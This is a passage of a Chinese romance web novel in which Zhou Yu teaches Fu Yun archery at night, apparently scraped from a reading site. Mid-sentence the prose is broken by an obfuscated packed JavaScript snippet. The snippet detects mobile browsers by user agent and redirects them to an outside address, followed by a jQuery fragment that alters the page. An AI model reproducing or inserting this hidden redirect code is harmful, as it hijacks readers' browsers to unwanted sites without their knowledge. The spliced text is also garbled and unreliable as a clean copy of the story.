她顺着他的目光,看到满地狼藉的箭羽,如尸体横陈,七零八落,一时猜错他意思,愈发羞愤难当,竟伸手捂住他的眼睛: “不许看!我只是射着玩的!” 周瑜一时忍俊不禁,险些破功又笑出声,但见她气得怒目圆睁,只能压下笑意,但一丝因了然了她心意的笑意,还是自他眼角溢出。 他反手握住她捂在自己眼前的手腕,伏韫一惊,像是被烫到:“你做什么!” 周瑜目光落在她因用力拉弓而泛红了五指上,眉梢微挑,似有揶揄之意:“手都红了,还说只是‘射着玩的’?” 伏韫被他握着手腕,又被一语说中心事,脸上愈发滚烫,猛地用力,想抽回手:“你管我!我只是今日手生而已!” 周瑜见她面上绯红更甚,心间更是软如一泓秋水。他难得一见她如此破功的模样,机不可失,竟得寸进尺,挑眉道: “那请军师为我演示一下,如何才能射中靶心吧?” 伏韫“哼”了一声,骑虎难下,却依旧嘴硬:“这有何难?演示就演示。” 她捡起地上的弓,抬手拉弦,下一瞬,却被身后阴影吞没。周瑜并未言语,只是从背后,覆上她那双因恼意而僵紧的手。 伏韫正气头上,浑身带刺,本能地想甩开,却被他一点力道轻轻按住。 他的呼吸自耳后拂过她鬓角,掌心覆着她手背,缓缓调整弓的角度:“手腕要松,不是握死。” 他几乎未曾用力,可她只觉心口一颤,连握弓的手都微微颤抖。他察觉她的僵硬,声音却依旧温润,耐心引她进入自己的节奏:“别怕,再拉弓。” 月色之下,二人的影子,几乎完全重叠在一起。 伏韫呼吸微乱,眼神死死盯着远处靶心,不敢看他。可他似乎看穿了她的窘迫,偏要更凑近一些,气息拂过耳畔: “你身正了,可心还不定。” 伏韫怔了怔,欲言之间,被他轻轻扣住手腕:“心定了,可眼犹自欺。闭眼。” 时间像被拉长。 伏韫终究依言闭上眼睛。 此时,所有声音皆被放大,风声猎猎,他的呼吸,甚至远处火光的热意,仿佛都有窸窣的响动。 他的声音在耳侧缓缓引导,气息轻得几近耳语: “感受弓弦的震动,听风,不要看靶。” 下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223439|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬,她松手。箭在空中发出极轻的一声,然后,一声响动。 伏韫睁眼。火光下,箭中靶心。 她怔了一瞬,满溢的怒意被那一声破风冲散了一半,但羞意却在下一刻更加汹涌。她猛地甩开弓,倏然转身,狠狠推开他: “谁要你教了!” 她原以为他会生气,谁知他只是低低笑了,弯腰拾起地上弓箭,轻轻拍去上头的灰尘,抬眼望来,眼神温柔如水: “昭晦,可否借你的眼睛一用?” 未及伏韫回答,他已缓缓伸手,拈住衣摆一角,扯断一缕布丝。下一瞬他抬眸,在她眼前,将布条缠上双目。 伏韫一瞬愕然:“你这是……做什么?” 他的眸光在布条下黯然不可见,只有唇角还带着一点若有若无的弧度,带着一丝不容拒绝的蛊惑: “我来射箭,你来做我的眼睛,告诉我,靶心在何处,风向如何。” 伏韫喉咙一紧,心口微颤,她想拒绝,但他那不容置喙的笃定,让所有拒绝的话在嘴边兜了几圈,终究没能吐出。 周瑜缓缓举弓,气息沉静,神态专注。一时间,仿佛天地都为他让开一条空隙,所有喧嚣,都退得极远。 伏韫轻声道:“左前方百步,东南来风……三分。” 沉默的下一瞬,周瑜忽然开口,声音极轻:“不,靶心不在那里。” 伏韫下意识蹙眉:“什么意思?” 却见他缓缓侧身,动作极慢,手腕轻旋,弓身亦顺着那细不可察的一偏斜开。 此刻,箭尖竟直直指向她的心口。 周瑜的目光仿佛隔着布条,直直向她探来,一字一句,都带着宣誓般坚定: “我的靶心……一直,在这里。” 下一瞬,“嗡——” 伏韫的呼吸,在这一刻被生生扼住。 羽尾离弦而出,破空锋镝之鸣啸如夜枭一嘶,风声骤然退散,天地只剩下那一道箭影,直朝她的瞳孔扑来。 箭尖在她眼中无限放大,快到她怔在原地,动弹不得,但就在她几乎以为下一息便要被贯穿的刹那—— 箭矢仿佛在极近的距离上,生生转出一个极轻的弧度,掠过耳畔,后发而至的劲风卷起鬓角一缕发丝,下一刻—— “嗒。” 箭尾轻颤着,稳稳钉入她身后百步之外的靶心中央。 伏韫怔在原地,大脑一片空白,僵硬得像被无形的力攫住,连呼吸都忘了。 “学会了吗?” 耳边突然响起一个带着笑意的声音。 伏韫猛地回头,不知周瑜何时已经靠得如此之近。他已取下布条,眸中笑意更盛,就这么毫无避意地瞧着她,连鼻息都轻轻落在她颈侧,带来一些微微发痒的暖意。 她仿佛被雷光劈中,下一息,血液轰然涌上,耳廓顿时烧如红霞滴朱,慌忙去解身上的箭囊。但越急越乱,皮绳在指尖缠来绕去,死活解不开。她不敢抬头,因为她能感到他的目光就这样投在自己身上,好整以暇,将她所有突如其来的慌乱与窘迫尽收眼底。 她终于彻底崩溃。 下一瞬,“啪”的一声,她将手中的长弓和费劲终于解开的箭囊,一股脑全扔进那罪魁祸首的怀里,动作急切,甚至不敢再抬头看那双眼睛,但跑前不忘一把抄起鱼脍盒子,随后踉跄着慌不择路,晃了好一下才找到方向,随即冲出大门,狂奔近乎逃命。 周瑜低头看着怀中突如其来的重量,还没反应过来,夜风便卷着她的影子,还带来她断断续续的一声虚张声势: “我!不!练!了!” 校场重归寂静。 周瑜抱着她的弓箭,立在风中,目送那道影子渐行渐远,甚至不等他跟上,便跳上了船,一路手忙脚乱地划走。 他唇边狐狸般得逞的笑意,在月光下若隐若现。